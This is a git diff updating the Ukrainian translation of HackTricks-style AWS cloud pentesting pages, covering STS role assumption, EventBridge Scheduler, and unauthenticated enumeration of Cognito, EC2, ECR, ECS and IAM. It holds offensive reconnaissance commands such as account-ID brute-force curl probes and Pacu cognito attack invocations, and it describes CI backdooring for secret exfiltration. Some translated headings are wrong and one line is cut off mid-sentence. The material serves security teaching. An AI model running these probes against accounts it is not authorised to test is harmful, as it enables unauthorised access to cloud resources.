на іншу версію стану машини за потреби, що полегшує контрольовані розгортання та управління робочими процесами. Для отримання більш детальної інформації про **ASL** перевірте: [**Amazon States Language**](https://states-language.net/spec.html). ## IAM Roles for State machines -AWS Step Functions використовує ролі AWS Identity and Access Management (IAM) для контролю доступу до ресурсів і дій у станах машин. Ось ключові аспекти, пов'язані з безпекою та ролями IAM в AWS Step Functions: +AWS Step Functions використовує ролі AWS Identity and Access Management (IAM) для контролю доступу до ресурсів та дій у станах машин. Ось ключові аспекти, пов'язані з безпекою та ролями IAM в AWS Step Functions: - **Execution Role**: Кожна стан машина в AWS Step Functions асоційована з роллю виконання IAM. Ця роль визначає, які дії стан машина може виконувати від вашого імені. Коли стан машина переходить між станами, які взаємодіють з сервісами AWS (наприклад, виклик функцій Lambda, доступ до DynamoDB тощо), вона приймає цю роль виконання для виконання цих дій. - **Permissions**: Роль виконання IAM повинна бути налаштована з дозволами, які дозволяють необхідні дії з іншими сервісами AWS. Наприклад, якщо вашій стану машини потрібно викликати функції AWS Lambda, роль IAM повинна мати дозволи **`lambda:InvokeFunction`**. Аналогічно, якщо їй потрібно записувати в DynamoDB, повинні бути надані відповідні дозволи (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`** тощо). diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index f7a7aa955..fe60cffac 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -6,11 +6,11 @@ **AWS Security Token Service (STS)** в основному призначений для видачі **тимчасових, обмежених привілеїв облікових даних**. Ці облікові дані можуть бути запитані для **AWS Identity and Access Management (IAM)** користувачів або для автентифікованих користувачів (федеративних користувачів). -Оскільки мета STS полягає в **видачі облікових даних для ідентифікації особи**, служба є надзвичайно цінною для **ескалації привілеїв і підтримки стійкості**, хоча вона може не мати широкого спектру опцій. +Оскільки мета STS полягає у **видачі облікових даних для ідентифікаційного підроблення**, сервіс є надзвичайно цінним для **ескалації привілеїв та підтримки стійкості**, хоча у нього може бути не так багато варіантів. ### Assume Role Impersonation -Дія [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html), надана AWS STS, є критично важливою, оскільки дозволяє суб'єкту отримувати облікові дані для іншого суб'єкта, фактично імітуючи його. Після виклику вона відповідає з ідентифікатором ключа доступу, секретним ключем і токеном сесії, що відповідає вказаному ARN. +Дія [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html), що надається AWS STS, є критично важливою, оскільки дозволяє суб'єкту отримати облікові дані для іншого суб'єкта, фактично підробляючи його. Після виклику вона відповідає з ідентифікатором ключа доступу, секретним ключем та токеном сесії, що відповідає вказаному ARN. Для тестувальників на проникнення або членів червоної команди ця техніка є важливою для ескалації привілеїв (як детально описано [**тут**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Однак варто зазначити, що ця техніка є досить помітною і може не здивувати атакуючого. @@ -32,7 +32,7 @@ ] } ``` -Роль **`priv-role`** в цьому випадку **не потребує спеціального дозволу** для прийняття цієї ролі (з цим дозволом достатньо). +Роль **`priv-role`** в цьому випадку **не потребує спеціального дозволу** для прийняття цієї ролі (достатньо цього дозволу). Однак, якщо роль дозволяє обліковому запису приймати її, як у: ```json @@ -50,9 +50,9 @@ ] } ``` -Роль, яка намагається прийняти її, повинна мати **конкретний дозвіл `sts:AssumeRole`** на цю роль **для її прийняття**. +Роль, яка намагається прийняти, повинна мати **конкретний дозвіл `sts:AssumeRole`** на цю роль **для її прийняття**. -Якщо ви намагаєтеся прийняти **роль** **з іншого облікового запису**, **прийнята роль повинна це дозволити** (вказуючи **ARN** ролі або **зовнішній обліковий запис**), і **роль, яка намагається прийняти** іншу, **МУСТ** мати **дозволи для її прийняття** (в цьому випадку це не є необов'язковим, навіть якщо прийнята роль вказує ARN). +Якщо ви намагаєтеся прийняти **роль** **з іншого облікового запису**, **прийнята роль повинна це дозволити** (вказуючи **ARN** ролі або **зовнішній обліковий запис**), і **роль, яка намагається прийняти** іншу **МУСТ** мати дозволи для її прийняття (в цьому випадку це не є необов'язковим, навіть якщо прийнята роль вказує ARN). ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index 4610d0edd..58a6e6125 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,7 +6,7 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** є повністю керованим, **безсерверним планувальником, призначеним для створення, виконання та управління завданнями** в масштабах. Він дозволяє вам планувати мільйони завдань через понад 270 сервісів AWS та 6,000+ API операцій, все з одного центрального сервісу. Завдяки вбудованій надійності та відсутності інфраструктури для управління, EventBridge Scheduler спрощує планування, зменшує витрати на обслуговування та автоматично масштабується відповідно до попиту. Ви можете налаштувати cron або rate вирази для повторюваних розкладів, встановити одноразові виклики та визначити гнучкі вікна доставки з опціями повторних спроб, забезпечуючи надійну доставку завдань на основі доступності цільових об'єктів. +**Amazon EventBridge Scheduler** є повністю керованим, **безсерверним планувальником, призначеним для створення, виконання та управління завданнями** в масштабах. Він дозволяє вам планувати мільйони завдань через понад 270 сервісів AWS та 6,000+ API операцій, все з одного центрального сервісу. Завдяки вбудованій надійності та відсутності інфраструктури для управління, EventBridge Scheduler спрощує планування, знижує витрати на обслуговування та автоматично масштабується відповідно до попиту. Ви можете налаштувати cron або rate вирази для повторюваних розкладів, встановити одноразові виклики та визначити гнучкі вікна доставки з опціями повторних спроб, забезпечуючи надійну доставку завдань на основі доступності цільових об'єктів. Існує початковий ліміт у 1,000,000 розкладів на регіон на обліковий запис. Навіть на офіційній сторінці квот зазначено: "Рекомендується видаляти одноразові розклади після їх завершення." @@ -20,31 +20,31 @@ Два механізми для обробки невдалих подій: -1. **Політика повторних спроб** – Визначає кількість спроб повторення для невдалої події та як довго тримати її необробленою, перш ніж вважати її невдачею. -2. **Черга з мертвими листами (DLQ)** – Стандартна черга Amazon SQS, куди доставляються невдалі події після вичерпання спроб повторення. DLQ допомагає в усуненні проблем з вашим розкладом або його цільовим об'єктом. +1. **Політика повторних спроб** – Визначає кількість спроб повторення для невдалої події та як довго її залишати необробленою, перш ніж вважати її невдачею. +2. **Черга мертвих листів (DLQ)** – Стандартна черга Amazon SQS, куди доставляються невдалі події після вичерпання спроб повторення. DLQ допомагає в усуненні проблем з вашим розкладом або його цільовим об'єктом. ### Targets -Існує 2 типи цілей для планувальника [**шаблонні (документи)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), які часто використовуються, і AWS спростив їх налаштування, та [**універсальні (документи)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), які можна використовувати для виклику будь-якого AWS API. +Існує 2 типи цілей для планувальника [**шаблонні (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), які часто використовуються, і AWS спростив їх налаштування, та [**універсальні (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), які можна використовувати для виклику будь-якого AWS API. **Шаблонні цілі** підтримують наступні сервіси: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution - Amazon ECS – RunTask -- Параметри: EcsParameters +- Parameters: EcsParameters - EventBridge – PutEvents -- Параметри: EventBridgeParameters +- Parameters: EventBridgeParameters - Amazon Inspector – StartAssessmentRun - Kinesis – PutRecord -- Параметри: KinesisParameters +- Parameters: KinesisParameters - Firehose – PutRecord - Lambda – Invoke - SageMaker – StartPipelineExecution -- Параметри: SageMakerPipelineParameters +- Parameters: SageMakerPipelineParameters - Amazon SNS – Publish - Amazon SQS – SendMessage -- Параметри: SqsParameters +- Parameters: SqsParameters - Step Functions – StartExecution ### Enumeration diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 57a42b5f9..288814bd3 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -1,4 +1,4 @@ -# AWS - Неавтентифікований Enum & Доступ +# AWS - Неавтентифікований Enum та Доступ {{#include ../../../banners/hacktricks-training.md}} @@ -11,7 +11,7 @@ - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) - [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks) -## Неавтентифікований Enum & Доступ AWS +## AWS Неавтентифікований Enum та Доступ Існує кілька сервісів в AWS, які можуть бути налаштовані так, що надають певний доступ всьому Інтернету або більшій кількості людей, ніж очікувалося. Перевірте тут, як: @@ -49,6 +49,6 @@ ## Інструменти -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Інструмент OSINT для багатохмарного середовища. **Знайти публічні ресурси** в AWS, Azure та Google Cloud. Підтримувані сервіси AWS: Відкриті / Захищені S3 бакети, awsapps (WorkMail, WorkDocs, Connect тощо) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Інструмент OSINT для багатьох хмар. **Знайти публічні ресурси** в AWS, Azure та Google Cloud. Підтримувані сервіси AWS: Відкриті / Захищені S3 Бакети, awsapps (WorkMail, WorkDocs, Connect тощо) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 294a83025..f584dd5ad 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Accounts Unauthenticated Enum +# AWS - Облікові записи без аутентифікації {{#include ../../../banners/hacktricks-training.md}} @@ -8,7 +8,7 @@ ### Брутфорс -Ви створюєте список потенційних ідентифікаторів облікових записів та псевдонімів і перевіряєте їх +Ви створюєте список потенційних ідентифікаторів облікових записів та псевдонімів і перевіряєте їх. ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -16,7 +16,7 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` -You can [автоматизувати цей процес за допомогою цього інструменту](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +Ви можете [автоматизувати цей процес за допомогою цього інструменту](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index b96c17a8c..a21ddaf7c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -19,24 +19,24 @@ ] } ``` -Проблема з цим способом надання дозволів для виклику кінцевих точок полягає в тому, що **"\*" означає "будь-що"** і **більше не підтримується синтаксис regex**. +Проблема з таким способом надання дозволів для виклику кінцевих точок полягає в тому, що **"\*" означає "будь-що"** і **більше не підтримується синтаксис regex**. Декілька прикладів: - Правило, таке як `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`, щоб надати кожному користувачу доступ до `/dashboard/user/{username}`, надасть їм доступ до інших маршрутів, таких як `/admin/dashboard/createAdmin`, наприклад. > [!WARNING] -> Зверніть увагу, що **"\*" не зупиняється на розширенні з косими рисками**, тому, якщо ви використовуєте "\*" в api-id, наприклад, це також може вказувати на "будь-яку стадію" або "будь-який метод", якщо фінальний regex все ще дійсний.\ +> Зверніть увагу, що **"\*" не зупиняється на розширенні з косими рисками**, отже, якщо ви використовуєте "\*" в api-id, наприклад, це також може вказувати на "будь-яку стадію" або "будь-який метод", якщо фінальний regex все ще дійсний.\ > Отже, `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Може перевірити запит на пост для тестової стадії до шляху `/prod/GET/dashboard/admin`, наприклад. +> Може перевірити POST запит до тестової стадії на шляху `/prod/GET/dashboard/admin`, наприклад. Вам завжди слід чітко розуміти, що ви хочете дозволити для доступу, а потім перевірити, чи можливі інші сценарії з наданими дозволами. Для отримання додаткової інформації, окрім [**документації**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), ви можете знайти код для реалізації авторизаторів в [**цьому офіційному aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). -### Впровадження політики IAM +### Впровадження IAM політики -У тій же [**доповіді**](https://www.youtube.com/watch?v=bsPKk7WDOnE) викладено факт, що якщо код використовує **введення користувача** для **генерації політик IAM**, дикий символ (та інші, такі як "." або конкретні рядки) можуть бути включені туди з метою **обходу обмежень**. +У тій же [**розмові**](https://www.youtube.com/watch?v=bsPKk7WDOnE) викривається той факт, що якщо код використовує **введення користувача** для **генерації IAM політик**, дикий символ (та інші, такі як "." або конкретні рядки) можуть бути включені туди з метою **обходу обмежень**. ### Шаблон публічного URL ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index e45798e5d..147adda24 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -1,4 +1,4 @@ -# AWS - CodeBuild Unauthenticated Access +# AWS - CodeBuild Неавтентифікований Доступ {{#include ../../../banners/hacktricks-training.md}} @@ -12,19 +12,7 @@ ### buildspec.yml -Якщо ви отримали доступ до запису в репозиторії, що містить файл з назвою **`buildspec.yml`**, ви можете **встановити бекдор** у цей файл, який вказує на **команди, що будуть виконані** в проекті CodeBuild, і ексфільтрувати секрети, скомпрометувати те, що виконується, а також скомпрометувати **облікові дані ролі IAM CodeBuild**. - -Зверніть увагу, що навіть якщо немає жодного файлу **`buildspec.yml`**, але ви знаєте, що використовується Codebuild (або інший CI/CD), **модифікація деякого легітимного коду**, який буде виконано, також може дати вам зворотний шелл, наприклад. - -Для деякої пов'язаної інформації ви можете переглянути сторінку про те, як атакувати Github Actions (схоже на це): - -{{#ref}} -../../../pentesting-ci-cd/github-security/abusing-github-actions/ -{{#endref}} - -## Самостійно хостовані GitHub Actions виконавці в AWS CodeBuild - -Як [**вказано в документації**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), можливо налаштувати **CodeBuild** для виконання **самостійно хостованих Github дій**, коли тригериться робочий процес у налаштованому репозиторії Github. Це можна виявити, перевіривши конфігурацію проекту CodeBuild, оскільки **`Тип події`** повинен містити: **`WORKFLOW_JOB_QUEUED`**, а в робочому процесі Github він вибере **самостійно хостований** виконавець, як це: +Якщо ви отримали доступ до запису в репозиторії, що містить файл з назвою **`buildspec.yml`**, ви можете **встановити бекдор** у цей файл, який вказує на **команди, що будуть виконані** всередині проекту CodeBuild, і ексфільтрувати секрети, скомпрометувати те, ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 11d13750a..751c57b3e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -4,9 +4,9 @@ ## Unauthenticated Cognito -Cognito - це сервіс AWS, який дозволяє розробникам **надавати своїм користувачам доступ до сервісів AWS**. Розробники надають **IAM ролі аутентифікованим користувачам** у своїй програмі (можливо, люди зможуть просто зареєструватися) і вони також можуть надати **IAM роль неаутентифікованим користувачам**. +Cognito - це сервіс AWS, який дозволяє розробникам **надавати своїм користувачам доступ до сервісів AWS**. Розробники надають **IAM ролі автентифікованим користувачам** у своїй програмі (можливо, люди зможуть просто зареєструватися) і вони також можуть надати **IAM роль неавтентифікованим користувачам**. -Для основної інформації про Cognito перегляньте: +Для основної інформації про Cognito дивіться: {{#ref}} ../aws-services/aws-cognito-enum/ @@ -14,30 +14,30 @@ Cognito - це сервіс AWS, який дозволяє розробника ### Identity Pool ID -Identity Pools можуть надавати **IAM ролі неаутентифікованим користувачам**, які просто **знають Identity Pool ID** (що досить поширено **знайти**), і зловмисник з цією інформацією може спробувати **отримати доступ до цієї IAM ролі** та експлуатувати її.\ -Більше того, IAM ролі також можуть бути призначені **аутентифікованим користувачам**, які отримують доступ до Identity Pool. Якщо зловмисник може **зареєструвати користувача** або вже має **доступ до постачальника ідентичності**, що використовується в Identity Pool, він може отримати доступ до **IAM ролі, що надається аутентифікованим** користувачам і зловживати її привілеями. +Identity Pools можуть надавати **IAM ролі неавтентифікованим користувачам**, які просто **знають Identity Pool ID** (що досить поширено **знайти**), і зловмисник з цією інформацією може спробувати **отримати доступ до цієї IAM ролі** та експлуатувати її.\ +Більше того, IAM ролі також можуть бути призначені **автентифікованим користувачам**, які отримують доступ до Identity Pool. Якщо зловмисник може **зареєструвати користувача** або вже має **доступ до постачальника ідентичності**, що використовується в identity pool, він може отримати доступ до **IAM ролі, що надається автентифікованим** користувачам і зловживати її привілеями. [**Перевірте, як це зробити тут**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). ### User Pool ID -За замовчуванням Cognito дозволяє **реєструвати нового користувача**. Можливість зареєструвати користувача може надати вам **доступ** до **основного застосунку** або до **аутентифікованої IAM ролі доступу Identity Pool**, яка приймає як постачальника ідентичності Cognito User Pool. [**Перевірте, як це зробити тут**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +За замовчуванням Cognito дозволяє **реєструвати нових користувачів**. Можливість зареєструвати користувача може надати вам **доступ** до **основного застосунку** або до **автентифікованої IAM ролі доступу Identity Pool**, яка приймає як постачальника ідентичності Cognito User Pool. [**Перевірте, як це зробити тут**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). ### Pacu modules for pentesting and enumeration -[Pacu](https://github.com/RhinoSecurityLabs/pacu), фреймворк експлуатації AWS, тепер включає модулі "cognito\_\_enum" та "cognito\_\_attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та ескалацію привілеїв на основі змінних користувацьких атрибутів, використовуваних облікових даних Identity Pool, ролей, що можуть бути прийняті в токенах ідентичності тощо. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), фреймворк експлуатації AWS, тепер включає модулі "cognito\_\_enum" та "cognito\_\_attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та виявляють слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та ескалацію привілеїв на основі змінних користувацьких атрибутів, використовуваних облікових даних identity pool, ролей, що можуть бути прийняті в id токенах тощо. Для опису функцій модулів дивіться частину 2 [блог-посту](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Для інструкцій з установки дивіться основну сторінку [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Usage -Приклад використання `cognito__attack` для спроби створення користувача та всіх векторів привілеїв проти даного Identity Pool та клієнта User Pool: +Приклад використання `cognito__attack` для спроби створення користувача та всіх векторів привілеїв проти даного identity pool та клієнта user pool: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Приклад використання cognito\_\_enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичностей, користувачів тощо, видимих у поточному обліковому записі AWS: +Приклад використання cognito\_\_enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичності, користувачів тощо, видимих у поточному обліковому записі AWS: ```bash Pacu (new:test) > run cognito__enum ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index b8f72753d..910d8336e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -1,4 +1,4 @@ -# AWS - DynamoDB Неавтентифікований Доступ +# AWS - Доступ до DynamoDB без аутентифікації {{#include ../../../banners/hacktricks-training.md}} @@ -10,6 +10,6 @@ ../aws-services/aws-dynamodb-enum.md {{#endref}} -Окрім надання доступу до всіх AWS або деякого скомпрометованого зовнішнього облікового запису AWS, або наявності SQL-ін'єкцій в додатку, який взаємодіє з DynamoDB, я не знаю більше варіантів доступу до облікових записів AWS з DynamoDB. +Окрім надання доступу до всіх AWS або деякого скомпрометованого зовнішнього облікового запису AWS, або наявності SQL-ін'єкцій в додатку, що взаємодіє з DynamoDB, я не знаю більше варіантів доступу до облікових записів AWS з DynamoDB. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index c30efe7fe..1d958be0f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - EC2 Unauthenticated Enum +# AWS - EC2 Універсальний Перелік {{#include ../../../banners/hacktricks-training.md}} -## EC2 та пов'язані сервіси +## EC2 та Супутні Сервіси Перевірте на цій сторінці більше інформації про це: @@ -10,9 +10,9 @@ ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Публічні порти +### Публічні Порти -Можливо **вивести будь-який порт віртуальних машин в інтернет**. Залежно від **того, що працює** на відкритому порту, зловмисник може це зловживати. +Можливо **вивести будь-який порт віртуальних машин в інтернет**. Залежно від **того, що працює** на відкритому порту, зловмисник може зловживати цим. #### SSRF @@ -20,9 +20,9 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Публічні AMI та EBS знімки +### Публічні AMI та EBS Снапшоти -AWS дозволяє **надавати доступ будь-кому для завантаження AMI та знімків**. Ви можете дуже легко перерахувати ці ресурси зі свого облікового запису: +AWS дозволяє **надавати доступ будь-кому для завантаження AMI та Снапшотів**. Ви можете дуже легко перерахувати ці ресурси зі свого облікового запису: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -47,7 +47,7 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` -### Перерахувати EC2 екземпляри з публічним IP +### Перерахунок EC2 інстансів з публічним IP ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 2561e4fbe..e21f69545 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -12,7 +12,7 @@ ### Публічні репозиторії реєстру (зображення) -Як згадувалося в розділі ECS Enum, публічний реєстр є **доступним для всіх** і використовує формат **`public.ecr.aws//`**. Якщо URL публічного репозиторію буде знайдений зловмисником, він може **завантажити зображення та шукати чутливу інформацію** в метаданих та вмісті зображення. +Як згадувалося в розділі ECS Enum, публічний реєстр є **доступним для всіх** і використовує формат **`public.ecr.aws//`**. Якщо зловмисник знайде URL публічного репозиторію, він може **завантажити зображення та шукати чутливу інформацію** в метаданих та вмісті зображення. ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` @@ -21,7 +21,7 @@ aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `tru ### Перерахунок приватного репозиторію -Інструменти [**skopeo**](https://github.com/containers/skopeo) та [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) можуть бути використані для перерахунку доступних репозиторіїв всередині приватного реєстру. +Інструменти [**skopeo**](https://github.com/containers/skopeo) та [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) можуть бути використані для перерахунку доступних репозиторіїв у приватному реєстрі. ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index dbb88bfe6..c77065710 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - ECS Unauthenticated Enum +# AWS - ECS Універсальний Перелік Без Аутентифікації {{#include ../../../banners/hacktricks-training.md}} @@ -10,9 +10,9 @@ ../aws-services/aws-ecs-enum.md {{#endref}} -### Публічно доступна група безпеки або балансувальник навантаження для ECS-сервісів +### Публічно Доступна Група Безпеки або Балансувальник Навантаження для ECS Сервісів -Неправильно налаштована група безпеки, яка **дозволяє вхідний трафік з Інтернету (0.0.0.0/0 або ::/0)** до сервісів Amazon ECS, може піддати ресурси AWS атакам. +Неправильно налаштована група безпеки, яка **дозволяє вхідний трафік з інтернету (0.0.0.0/0 або ::/0)** до сервісів Amazon ECS, може піддати ресурси AWS атакам. ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index a97473e43..e8a0dba93 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -14,7 +14,7 @@ Зверніть увагу, що за замовчуванням середовища Beanstalk мають **Metadatav1 вимкнено**. -Формат веб-сторінок Beanstalk є **`https://-env..elasticbeanstalk.com/`** +Формат веб-сторінок Beanstalk - **`https://-env..elasticbeanstalk.com/`** ### Небезпечні правила групи безпеки diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index 894ac72e2..af4f77572 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - IAM & STS Unauthenticated Enum +# AWS - IAM & STS Універсальна Перевірка {{#include ../../../banners/hacktricks-training.md}} ## Перерахунок ролей та імен користувачів в обліковому записі -### ~~Брутфорс ролі~~ +### ~~Брутфорс для припущення ролі~~ > [!CAUTION] > **Ця техніка більше не працює**, оскільки, незалежно від того, чи існує роль, ви завжди отримуєте цю помилку: @@ -15,21 +15,21 @@ > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Спроба **взяти на себе роль без необхідних дозволів** викликає повідомлення про помилку AWS. Наприклад, якщо немає дозволу, AWS може повернути: +Спроба **припустити роль без необхідних дозволів** викликає повідомлення про помилку AWS. Наприклад, якщо немає авторизації, AWS може повернути: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` -Це повідомлення підтверджує існування ролі, але вказує на те, що її політика прийняття ролі не дозволяє вам її прийняти. На відміну від цього, спроба **прийняти неіснуючу роль призводить до іншої помилки**: +Це повідомлення підтверджує існування ролі, але вказує на те, що її політика припущення ролі не дозволяє 